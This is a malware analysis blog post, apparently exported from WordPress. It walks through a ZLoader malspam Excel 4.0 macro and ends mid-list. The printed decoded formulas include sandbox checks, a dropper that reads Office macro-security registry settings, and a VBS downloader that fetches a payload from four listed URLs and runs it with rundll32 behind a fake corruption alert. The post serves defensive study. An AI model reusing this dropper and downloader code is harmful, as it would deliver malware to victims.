{"id":1382,"date":"2020-07-21T23:19:20","date_gmt":"2020-07-21T22:19:20","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1382"},"modified":"2020-07-21T23:22:45","modified_gmt":"2020-07-21T22:22:45","slug":"2020-07-17-zloader-malspam-excel-4-macros","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1382","title":{"rendered":"2020-07-17 ZLoader Malspam (Excel 4 Macros)"},"content":{"rendered":"<p>Summary<br \/>\n========<br \/>\nThis is a late posting since I was originally playing with the malspam back on the 17th. In this case I was looking at some emails that were caught by the mail filters. Looking at the attachment in the email a little closer I noticed that this was one that I had not seen before but had read about on several different occasions &#8211; an Excel 4 macro. The interesting thing about this attack vector is the fact that it doesn&#8217;t rely on an embedded VB macro in the Excel spreadsheet per se, but uses the native built-in functions to execute the macro. The use of formulas within a XL4 macro is vast as suggested by the &#8220;Excel 4.0 Macro Functions Guide&#8221; (linked <a href=\"http:\/\/firebasestorage.googleapis.com\/v0\/b\/gitbook-28427.appspot.com\/o\/assets%2F-LFEMnER3fywgFHoroYn%2F-LOJJ0k2p_BP4TwEtb_H%2F-LOJJHFjzUdKiLIUhmmm%2FExcel%204.0%20Macro%20Functions%20Reference%20(1).pdf?alt=media&amp;token=7ee15773-df4a-4f71-a2c4-6828b1cc37a6\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>) and from the malware itself. Lastline also has an excellent write-up of several campaigns that used the XL4 macro which you can read about <a href=\"http:\/\/www.lastline.com\/labsblog\/evolution-of-excel-4-0-macro-weaponization\/\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>. Also, <a href=\"http:\/\/twitter.com\/jcarndt\" rel=\"noopener noreferrer\" target=\"_blank\">@Jammy<\/a> who runs one of my favorite sites &#8220;<a href=\"http:\/\/clickallthethings.wordpress.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">Click All the Things!<\/a>&#8221; has an <a href=\"http:\/\/clickallthethings.wordpress.com\/2020\/06\/19\/zloader-vba-r1c1-references-and-other-tomfoolery\/\" rel=\"noopener noreferrer\" target=\"_blank\">excellent example and walkthrough<\/a> of this type of malware which is what I used as a guide. And while I was not able to get anything to drop, based on OSINT, this looks to be related to the ZLoader malware family.<\/p>\n<p>As always you can find the artifacts from this infection in my Github for this <a href=\"http:\/\/github.com\/bloomer1016\/2020-07-17-ZLoader-Malspam\" rel=\"noopener noreferrer\" target=\"_blank\">particular infection<\/a>. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/Email.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/Email.png\" alt=\"\" width=\"1336\" height=\"1276\" class=\"aligncenter size-full wp-image-1390\" \/><\/a><\/p>\n<p>Analysis<br \/>\n========<br \/>\nMuch like @Jammy described in his post, the notation of RC is one of the first things that I noticed when looking at the spreadsheet. This is pretty much the tell for this using the XL4 format and not the standard embedded VB script. Just to verify further using the trick of ALT-F11 in Excel to take a look at the VBA Project associated with this showed the same thing as well &#8211; nothing (even after enabling macros). So I tried to add the msgbox popup for &#8220;Hello&#8221; as suggested in the post but that did not work like it did for @Jammy (just executed and did not stop or act as a break point). So seeing that the files were being dropped in the &#8220;C:\\Users\\%username%\\AppData\\Local\\Temp\\&#8221; folder, I kind of cheated and just denied any deletion of files from the %TEMP% folder. Once I did that, I was able to step into the macro and follow it from there.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/excel.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/excel.png\" alt=\"\" width=\"549\" height=\"977\" class=\"aligncenter size-full wp-image-1389\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/procmon.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/procmon.png\" alt=\"\" width=\"1516\" height=\"723\" class=\"aligncenter size-full wp-image-1388\" \/><\/a><\/p>\n<p>The first error message that popped up was a message about not being able to delete the file &#8220;C:\\Users\\%username%\\AppData\\Local\\Temp\\w9Z.vbs.&#8221;<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/w9z.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/w9z.png\" alt=\"\" width=\"1804\" height=\"863\" class=\"aligncenter size-full wp-image-1387\" \/><\/a><\/p>\n<p>which then gave me the ability of stepping into the macro code.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/start_macro.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/start_macro.png\" alt=\"\" width=\"1281\" height=\"450\" class=\"aligncenter size-full wp-image-1386\" \/><\/a><\/p>\n<p>I pressed the &#8220;Goto&#8221; button which then took me to the cell R26079C236 which had the following formula:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=FILE.DELETE(R26065C236)\r\n<\/pre>\n<p>Scrolling over some and adjusting the column sizes gave me some more insight into the macro code running in this Excel spreadsheet and the different fomulas being used as seen below.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/macro1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/macro1.png\" alt=\"\" width=\"1159\" height=\"700\" class=\"aligncenter size-full wp-image-1385\" \/><\/a><\/p>\n<p>As seen from this bit of code, XL4 has a huge repository of commands at it&#8217;s disposal (everything from checking if the app is maximized, window information, file writes\/deletes, and workspace\/system specs\/information). From here I started walking through the macro code. The following is just a snippet of what I copied down before realizing that manually doing this was going to eat up way too much time.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/manual_tracking.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/manual_tracking.png\" alt=\"\" width=\"1428\" height=\"364\" class=\"aligncenter size-full wp-image-1384\" \/><\/a><\/p>\n<p>After hitting the &#8220;Evaluation&#8221; button several times and looking at how the macro worked, I decided to break out of it. Looking at the things that I jotted down from above, I noticed what what looked like a name of a function (at least to me) &#8211; &#8220;=DuIQvnMjv().&#8221; I also remembered seeing other names like this as well in the macro sprinkled throughout. I started to click around on things in the spreadsheet and one of the things that I clicked on surprised me &#8211; the cell reference drop down arrow. When I did that, I saw some of the other function names that I had seen in the macro.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/func_name.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/07\/func_name.png\" alt=\"\" width=\"290\" height=\"260\" class=\"aligncenter size-full wp-image-1383\" \/><\/a><\/p>\n<p>At this time I decided to start over again. So I exited Excel and started it up again and let it hit the first error message (the error about trying to delete the w9z.vbs file). I pressed &#8220;OK&#8221; on that popup and &#8220;Halt&#8221; on the next popup. This allowed me to click on the different function names to see what was there. Here is the list of what I was able to find.<\/p>\n<p><strong>CejeZjurT function<\/strong> (landed in cell R8035C105) &#8211; For this I also grabbed the code above it.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=SUM(77,43)\r\n=WHILE(ygZNzBKR=0)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\n=RETURN()\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=IF(ygZNzBKR&lt;&gt;&quot;OZZo&quot;,,RETURN())\r\ntNtxFLkeBUV=&quot;&quot;\r\n=WHILE(ygZNzBKR&lt;&gt;&quot;OZZo&quot;)\r\ntNtxFLkeBUV=tNtxFLkeBUV&amp;CHAR(ygZNzBKR-282)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=DOxhraoIFLLN()\r\n=NEXT()\r\nQsgxkJBzTO=fRHYOtACy\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=WHILE(ygZNzBKR=0)\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\nrCPQbY=&quot;ZbqhG!R&quot;&amp;vTXQKFfGaYLo&amp;&quot;C&quot;&amp;MdOyshOLWUyR\r\n=FORMULA(tNtxFLkeBUV,rCPQbY)\r\nvTXQKFfGaYLo=vTXQKFfGaYLo+1\r\n=rVgcdE()\r\n=RETURN(TEXTREF(rCPQbY,FALSE))\r\nrVgcdE=R7966C105\r\nDOxhraoIFLLN=R7943C105\r\nCejeZjurT=R8035C105\r\nDuIQvnMjv=R7962C105\r\nvTXQKFfGaYLo=26054\r\nMdOyshOLWUyR=236\r\nfRHYOtACy=18731\r\nQsgxkJBzTO=18731\r\nXALlBJEjZz=15\r\nduumR=R26055C236\r\n=DuIQvnMjv()\r\n=duumR()\r\nvTXQKFfGaYLo=34351\r\nMdOyshOLWUyR=9\r\nfRHYOtACy=31404\r\nQsgxkJBzTO=31404\r\nXALlBJEjZz=16\r\nNfqZai=R34351C9\r\n=DuIQvnMjv()\r\n=NfqZai()\r\nvTXQKFfGaYLo=48529\r\nMdOyshOLWUyR=159\r\nfRHYOtACy=52444\r\nQsgxkJBzTO=52444\r\nXALlBJEjZz=7\r\nzpBaqJ=R48529C159\r\n=DuIQvnMjv()\r\n=zpBaqJ()\r\n=HALT()\r\n<\/pre>\n<p><strong>DOxhraoIFLLN function<\/strong> (landed in cell R7943C105)<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=SUM(77,43)\r\n=WHILE(ygZNzBKR=0)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\n=RETURN()\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=IF(ygZNzBKR&lt;&gt;&quot;OZZo&quot;,,RETURN())\r\ntNtxFLkeBUV=&quot;&quot;\r\n=WHILE(ygZNzBKR&lt;&gt;&quot;OZZo&quot;)\r\ntNtxFLkeBUV=tNtxFLkeBUV&amp;CHAR(ygZNzBKR-282)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=DOxhraoIFLLN()\r\n=NEXT()\r\nQsgxkJBzTO=fRHYOtACy\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=WHILE(ygZNzBKR=0)\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\nrCPQbY=&quot;ZbqhG!R&quot;&amp;vTXQKFfGaYLo&amp;&quot;C&quot;&amp;MdOyshOLWUyR\r\n=FORMULA(tNtxFLkeBUV,rCPQbY)\r\nvTXQKFfGaYLo=vTXQKFfGaYLo+1\r\n=rVgcdE()\r\n=RETURN(TEXTREF(rCPQbY,FALSE))\r\nrVgcdE=R7966C105\r\nDOxhraoIFLLN=R7943C105\r\nCejeZjurT=R8035C105\r\nDuIQvnMjv=R7962C105\r\nvTXQKFfGaYLo=26054\r\nMdOyshOLWUyR=236\r\nfRHYOtACy=18731\r\nQsgxkJBzTO=18731\r\nXALlBJEjZz=15\r\nduumR=R26055C236\r\n=DuIQvnMjv()\r\n=duumR()\r\nvTXQKFfGaYLo=34351\r\nMdOyshOLWUyR=9\r\nfRHYOtACy=31404\r\nQsgxkJBzTO=31404\r\nXALlBJEjZz=16\r\nNfqZai=R34351C9\r\n=DuIQvnMjv()\r\n=NfqZai()\r\nvTXQKFfGaYLo=48529\r\nMdOyshOLWUyR=159\r\nfRHYOtACy=52444\r\nQsgxkJBzTO=52444\r\nXALlBJEjZz=7\r\nzpBaqJ=R48529C159\r\n=DuIQvnMjv()\r\n=zpBaqJ()\r\n=HALT()\r\n<\/pre>\n<p><strong>DuIQvnMjv function<\/strong> (landed in R7962C105) &#8211; For this grabbed the code above<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=SUM(77,43)\r\n=WHILE(ygZNzBKR=0)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\n=RETURN()\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=IF(ygZNzBKR&lt;&gt;&quot;OZZo&quot;,,RETURN())\r\ntNtxFLkeBUV=&quot;&quot;\r\n=WHILE(ygZNzBKR&lt;&gt;&quot;OZZo&quot;)\r\ntNtxFLkeBUV=tNtxFLkeBUV&amp;CHAR(ygZNzBKR-282)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=DOxhraoIFLLN()\r\n=NEXT()\r\nQsgxkJBzTO=fRHYOtACy\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=WHILE(ygZNzBKR=0)\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\nrCPQbY=&quot;ZbqhG!R&quot;&amp;vTXQKFfGaYLo&amp;&quot;C&quot;&amp;MdOyshOLWUyR\r\n=FORMULA(tNtxFLkeBUV,rCPQbY)\r\nvTXQKFfGaYLo=vTXQKFfGaYLo+1\r\n=rVgcdE()\r\n=RETURN(TEXTREF(rCPQbY,FALSE))\r\nrVgcdE=R7966C105\r\nDOxhraoIFLLN=R7943C105\r\nCejeZjurT=R8035C105\r\nDuIQvnMjv=R7962C105\r\nvTXQKFfGaYLo=26054\r\nMdOyshOLWUyR=236\r\nfRHYOtACy=18731\r\nQsgxkJBzTO=18731\r\nXALlBJEjZz=15\r\nduumR=R26055C236\r\n=DuIQvnMjv()\r\n=duumR()\r\nvTXQKFfGaYLo=34351\r\nMdOyshOLWUyR=9\r\nfRHYOtACy=31404\r\nQsgxkJBzTO=31404\r\nXALlBJEjZz=16\r\nNfqZai=R34351C9\r\n=DuIQvnMjv()\r\n=NfqZai()\r\nvTXQKFfGaYLo=48529\r\nMdOyshOLWUyR=159\r\nfRHYOtACy=52444\r\nQsgxkJBzTO=52444\r\nXALlBJEjZz=7\r\nzpBaqJ=R48529C159\r\n=DuIQvnMjv()\r\n=zpBaqJ()\r\n=HALT()\r\n<\/pre>\n<p><strong>duumR function<\/strong> (landed in R26088C236) &#8211; For this grabbed the code above<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=CLOSE(FALSE)\r\n=FORMULA(LEN(APP.MAXIMIZE())+-137,Sheet1!R26055C236)\r\n=FORMULA(LEN(GET.WINDOW(7))+-998,Sheet1!R26056C236)\r\n=FORMULA(LEN(GET.WINDOW(20))+-100,Sheet1!R26057C236)\r\n=FORMULA(LEN(GET.WINDOW(23)=3)+-105,Sheet1!R26058C236)\r\n=FORMULA(LEN(GET.WORKSPACE(31))+-181,Sheet1!R26059C236)\r\n=FORMULA(LEN(GET.WORKSPACE(13)&gt;770)+839,Sheet1!R26060C236)\r\n=FORMULA(LEN(GET.WORKSPACE(14)&gt;390)+681,Sheet1!R26061C236)\r\n=FORMULA(LEN(GET.WORKSPACE(19))+-674,Sheet1!R26062C236)\r\n=FORMULA(LEN(GET.WORKSPACE(42))+85,Sheet1!R26063C236)\r\n=IF(ISNUMBER(SEARCH(&quot;Windows&quot;,GET.WORKSPACE(1))),,GOTO(R26054C236))\r\n=LEFT(GET.WORKSPACE(23),(FIND(&quot;Roaming&quot;,GET.WORKSPACE(23),1)-1))&amp;&quot;Local\\Temp\\w9Z.vbs&quot;\r\n=LEFT(GET.WORKSPACE(23),(FIND(&quot;Roaming&quot;,GET.WORKSPACE(23),1)-1))&amp;&quot;Local\\Temp\\aDzp0omL.txt&quot;\r\n=FOPEN(R26065C236,3)\r\n=FWRITELN(R26067C236,&quot;On Error Resume Next&quot;)\r\n=FWRITELN(R26067C236,&quot;Set ySgMMU = CreateObject(&quot;&quot;WScript.Shell&quot;&quot;)&quot;)\r\n=FWRITELN(R26067C236,&quot;Set BBN902k = CreateObject(&quot;&quot;Scripting.FileSystemObject&quot;&quot;)&quot;)\r\n=FWRITELN(R26067C236,&quot;Set KQvg = BBN902k.CreateTextFile(&quot;&quot;&quot;&amp;R26066C236&amp;&quot;&quot;&quot;, True)&quot;)\r\n=FWRITELN(R26067C236,&quot;wVj5km45=ySgMMU.RegRead(&quot;&quot;HKCU\\Software\\Microsoft\\Office\\&quot;&amp;GET.WORKSPACE(2)&amp;&quot;\\Excel\\Security\\VBAWarnings&quot;&quot;): KQvg.WriteLine(wVj5km45)&quot;)\r\n=FWRITELN(R26067C236,&quot;KQvg.Close&quot;)\r\n=FCLOSE(R26067C236)\r\n=EXEC(&quot;explorer.exe &quot;&amp;R26065C236&amp;&quot;&quot;)\r\n=WHILE(ISERROR(FILES(R26066C236)))\r\n=WAIT(NOW()+&quot;00:00:01&quot;)\r\n=NEXT()\r\n=FILE.DELETE(R26065C236)\r\n=FOPEN(R26066C236,2)\r\n=FREAD(R26080C236,100)\r\n=FCLOSE(R26080C236)\r\n=FILE.DELETE(R26066C236)\r\n=IF(ISNUMBER(SEARCH(&quot;1&quot;,R26081C236)),GOTO(R26054C236),)\r\n=IF(ISNUMBER(SEARCH(&quot;32&quot;,GET.WORKSPACE(1))),GOTO(R8077C105),GOTO(R8104C105))\r\n<\/pre>\n<p><strong>rVgcdE function<\/strong> (landed in R7966C105) &#8211; For this grabbed the code above<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=SUM(77,43)\r\n=WHILE(ygZNzBKR=0)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\n=RETURN()\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=IF(ygZNzBKR&lt;&gt;&quot;OZZo&quot;,,RETURN())\r\ntNtxFLkeBUV=&quot;&quot;\r\n=WHILE(ygZNzBKR&lt;&gt;&quot;OZZo&quot;)\r\ntNtxFLkeBUV=tNtxFLkeBUV&amp;CHAR(ygZNzBKR-282)\r\nQsgxkJBzTO=QsgxkJBzTO+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=DOxhraoIFLLN()\r\n=NEXT()\r\nQsgxkJBzTO=fRHYOtACy\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=WHILE(ygZNzBKR=0)\r\nXALlBJEjZz=XALlBJEjZz+1\r\nrCPQbY=&quot;Sheet1!R&quot;&amp;QsgxkJBzTO&amp;&quot;C&quot;&amp;XALlBJEjZz\r\nygZNzBKR=CejeZjurT()\r\n=NEXT()\r\nrCPQbY=&quot;ZbqhG!R&quot;&amp;vTXQKFfGaYLo&amp;&quot;C&quot;&amp;MdOyshOLWUyR\r\n=FORMULA(tNtxFLkeBUV,rCPQbY)\r\nvTXQKFfGaYLo=vTXQKFfGaYLo+1\r\n=rVgcdE()\r\n=RETURN(TEXTREF(rCPQbY,FALSE))\r\nrVgcdE=R7966C105\r\nDOxhraoIFLLN=R7943C105\r\nCejeZjurT=R8035C105\r\nDuIQvnMjv=R7962C105\r\nvTXQKFfGaYLo=26054\r\nMdOyshOLWUyR=236\r\nfRHYOtACy=18731\r\nQsgxkJBzTO=18731\r\nXALlBJEjZz=15\r\nduumR=R26055C236\r\n=DuIQvnMjv()\r\n=duumR()\r\nvTXQKFfGaYLo=34351\r\nMdOyshOLWUyR=9\r\nfRHYOtACy=31404\r\nQsgxkJBzTO=31404\r\nXALlBJEjZz=16\r\nNfqZai=R34351C9\r\n=DuIQvnMjv()\r\n=NfqZai()\r\nvTXQKFfGaYLo=48529\r\nMdOyshOLWUyR=159\r\nfRHYOtACy=52444\r\nQsgxkJBzTO=52444\r\nXALlBJEjZz=7\r\nzpBaqJ=R48529C159\r\n=DuIQvnMjv()\r\n=zpBaqJ()\r\n=HALT()\r\n<\/pre>\n<p><strong>zpBaqJ function<\/strong> (landed in R48529C159)<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n-25\r\n<\/pre>\n<p>If you step through this using the &#8220;Evaluate&#8221; button you can see how the code runs and what gets decoded and such. Unfortunately if you step through it long enough you will start to hit the different &#8220;halt()&#8221; statements since it is looking for that behaviour (ie: duumR function &#8211; =FORMULA(LEN(GET.WORKSPACE(31))+-181,Sheet1!R26059C236)). Because of this, I closed the file and reopened it and went through the same process listed above except instead of pressing the &#8220;Halt&#8221; button I clicked on the &#8220;Step Over&#8221; button. This allowed any code and procedures to be run for that function. After doing this a couple of times I noticed that the function called &#8220;zpBaq()&#8221; contained what looked like the data that got written to the dyB5.vbs file. A quick glance at that code showed that in fact it was the code that got written to that file.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n=LEFT(GET.WORKSPACE(23),(FIND(&quot;Roaming&quot;,GET.WORKSPACE(23),1)-1))&amp;&quot;Local\\Temp\\lLO.html&quot;\r\n=LEFT(GET.WORKSPACE(23),(FIND(&quot;Roaming&quot;,GET.WORKSPACE(23),1)-1))&amp;&quot;Local\\Temp\\dyB5.vbs&quot;\r\n=FOPEN(R48530C159,3)\r\n=FWRITELN(R48531C159,&quot;FQnmsmmk = &quot;&quot;http:\/\/6730dartmouth.com\/wp-keys.php&quot;&quot;&quot;)\r\n=FWRITELN(R48531C159,&quot;tptOX = &quot;&quot;http:\/\/akcje.browarbrodacz.pl\/wp-keys.php&quot;&quot;&quot;)\r\n=FWRITELN(R48531C159,&quot;RecBBi8 = &quot;&quot;http:\/\/myadvision.com\/wp-keys.php&quot;&quot;&quot;)\r\n=FWRITELN(R48531C159,&quot;uby = &quot;&quot;http:\/\/scoutadvisors.com\/wp-keys.php&quot;&quot;&quot;)\r\n=FWRITELN(R48531C159,&quot;i9aQ4 = Array(FQnmsmmk,tptOX,RecBBi8,uby)&quot;)\r\n=FWRITELN(R48531C159,&quot;Dim FfD4eA: Set FfD4eA = CreateObject(&quot;&quot;MSXML2.ServerXMLHTTP.6.0&quot;&quot;)&quot;)\r\n=FWRITELN(R48531C159,&quot;Function gnH7WL(data):&quot;)\r\n=FWRITELN(R48531C159,&quot;FfD4eA.setOption(2) = 13056&quot;)\r\n=FWRITELN(R48531C159,&quot;FfD4eA.Open &quot;&quot;GET&quot;&quot;, data, False&quot;)\r\n=FWRITELN(R48531C159,&quot;FfD4eA.setRequestHeader &quot;&quot;User-Agent&quot;&quot;, &quot;&quot;Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&quot;&quot;&quot;)\r\n=FWRITELN(R48531C159,&quot;FfD4eA.Send&quot;)\r\n=FWRITELN(R48531C159,&quot;gnH7WL = FfD4eA.Status&quot;)\r\n=FWRITELN(R48531C159,&quot;End Function&quot;)\r\n=FWRITELN(R48531C159,&quot;For Each DPT9Lb in i9aQ4&quot;)\r\n=FWRITELN(R48531C159,&quot;If gnH7WL(DPT9Lb) = 200 Then&quot;)\r\n=FWRITELN(R48531C159,&quot;Dim RJJtK5I: Set RJJtK5I = CreateObject(&quot;&quot;ADODB.Stream&quot;&quot;)&quot;)\r\n=FWRITELN(R48531C159,&quot;RJJtK5I.Open&quot;)\r\n=FWRITELN(R48531C159,&quot;RJJtK5I.Type = 1&quot;)\r\n=FWRITELN(R48531C159,&quot;RJJtK5I.Write FfD4eA.ResponseBody&quot;)\r\n=FWRITELN(R48531C159,&quot;RJJtK5I.SaveToFile &quot;&quot;&quot;&amp;R48529C159&amp;&quot;&quot;&quot;, 2&quot;)\r\n=FWRITELN(R48531C159,&quot;RJJtK5I.Close&quot;)\r\n=FWRITELN(R48531C159,&quot;Exit For&quot;)\r\n=FWRITELN(R48531C159,&quot;End If&quot;)\r\n=FWRITELN(R48531C159,&quot;Next&quot;)\r\n=FCLOSE(R48531C159)\r\n=EXEC(&quot;explorer.exe &quot;&amp;R48530C159&amp;&quot;&quot;)\r\n=WHILE(ISERROR(FILES(R48529C159)))\r\n=WAIT(NOW()+&quot;00:00:01&quot;)\r\n=NEXT()\r\n=FILE.DELETE(R48530C159)\r\n=ALERT(&quot;The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.&quot;)\r\n=LEFT(GET.WORKSPACE(23),(FIND(&quot;Roaming&quot;,GET.WORKSPACE(23),1)-1))&amp;&quot;Local\\Temp\\W6ncncs.vbs&quot;\r\n=FOPEN(R48563C159,3)\r\n=&quot;rundll32.exe&quot;\r\n=R48529C159&amp;&quot;,DllRegisterServer&quot;\r\n=&quot;C:\\Windows\\System32&quot;\r\n=FWRITELN(R48564C159,&quot;Set gAlwJH2m = GetObject(&quot;&quot;new:C08AFD90-F2A1-11D1-8455-00A0C91F3880&quot;&quot;)&quot;)\r\n=FWRITELN(R48564C159,&quot;gAlwJH2m.Document.Application.ShellExecute &quot;&quot;&quot;&amp;R48565C159&amp;&quot;&quot;&quot;,&quot;&quot;&quot;&amp;R48566C159&amp;&quot;&quot;&quot;,&quot;&quot;&quot;&amp;R48567C159&amp;&quot;&quot;&quot;,Null,0&quot;)\r\n=FCLOSE(R48564C159)\r\n=EXEC(&quot;explorer.exe &quot;&amp;R48563C159&amp;&quot;&quot;)\r\n=GOTO(R26054C236)\r\n<\/pre>\n<p>Prior to this function being called and the other parts of the code being run, the only value that was here was that &#8220;-25&#8221; value. So this got me thinking if other bits of code got deobfuscated as well. Going back and looking at the different functions in the dropdown I didn&#8217;t see anything that had changed &#8211; just the &#8220;zpBaqJ().&#8221; Because of this, I jotted down the cells and what was in those cells when stepping over the code. Those results are listed below.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\"> \r\nr26079c236 --&gt; =FILE.DELETE(R26065C236) \r\nr26080c236 --&gt; =FOPEN(R26066C236,2) \r\nr26081c236 --&gt; =FREAD(R26080C236,100) \r\nr26082c237 --&gt; =FCLOSE(R26080C236) \r\nr26083c238 --&gt; =FILE.DELETE(R26066C236) \r\nr26084c236 --&gt; =IF(ISNUMBER(SEARCH(&quot;1&quot;,R26081C236)),GOTO(R26054C236),) \r\nr26085c236 --&gt; =IF(ISNUMBER(SEARCH(&quot;32&quot;,GET.WORKSPACE(1))),GOTO(R8077C105),GOTO(R8104C105)) \r\nr8104c105 --&gt; vTXQKFfGaYLo=48529 \r\nr8105c105 --&gt; BLANK CELL \r\nr8106c105 --&gt; BLANK CELL \r\nr8107c105 --&gt; MdOyshOLWUyR=159 \r\nr8108c105 --&gt; BLANK CELL \r\nr8109c105 --&gt; BLANK CELL \r\nr8110c105 --&gt; BLANK CELL \r\nr8111c105 --&gt; fRHYOtACy=52444 \r\nr8112c105 